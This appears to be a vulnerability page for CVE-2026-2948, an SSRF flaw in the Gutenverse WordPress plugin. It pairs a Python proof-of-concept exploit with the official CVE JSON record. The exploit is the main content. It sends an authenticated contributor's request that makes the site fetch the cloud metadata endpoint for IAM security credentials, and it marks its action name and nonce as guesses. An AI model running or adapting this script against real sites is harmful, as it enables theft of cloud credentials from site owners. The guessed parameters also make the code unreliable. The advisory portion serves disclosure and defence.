CVE-2026-2948

import requests def exploit_ssrf(target_url, cookie, internal_url): """ PoC for CVE-2026-2948 Exploits SSRF in import_images function. """ # The endpoint might be admin-ajax.php or a specific REST API route # Assuming admin-ajax.php based on typical WordPress plugin structure endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload data targeting the vulnerable function payload = { "action": "gutenverse_import_images", # Inferred action name "url": internal_url, # Malicious internal URL, e.g., http://127.0.0.1:80 "nonce": "some_valid_nonce_if_required" # May need a valid WP nonce } try: response = requests.post(endpoint, data=payload, headers=headers, cookies=cookie, timeout=10) if response.status_code == 200: print(f"[+] Request sent to internal URL: {internal_url}") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://victim-wordpress-site.com" # Cookie for a user with Contributor role or higher auth_cookie = {"wordpress_logged_in_12345": "user_cookie_value"} # Targeting internal metadata service (AWS example) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, auth_cookie, malicious_url)

{"cve": {"id": "CVE-2026-2948", "sourceIdentifier": "[email protected]", "published": "2026-05-05T04:16:09.120", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.5.3 via the import_images() function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3507804/gutenverse", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac909a4b-d949-42eb-871a-963bc6242c12?source=cve", "source": "[email protected]"}]}}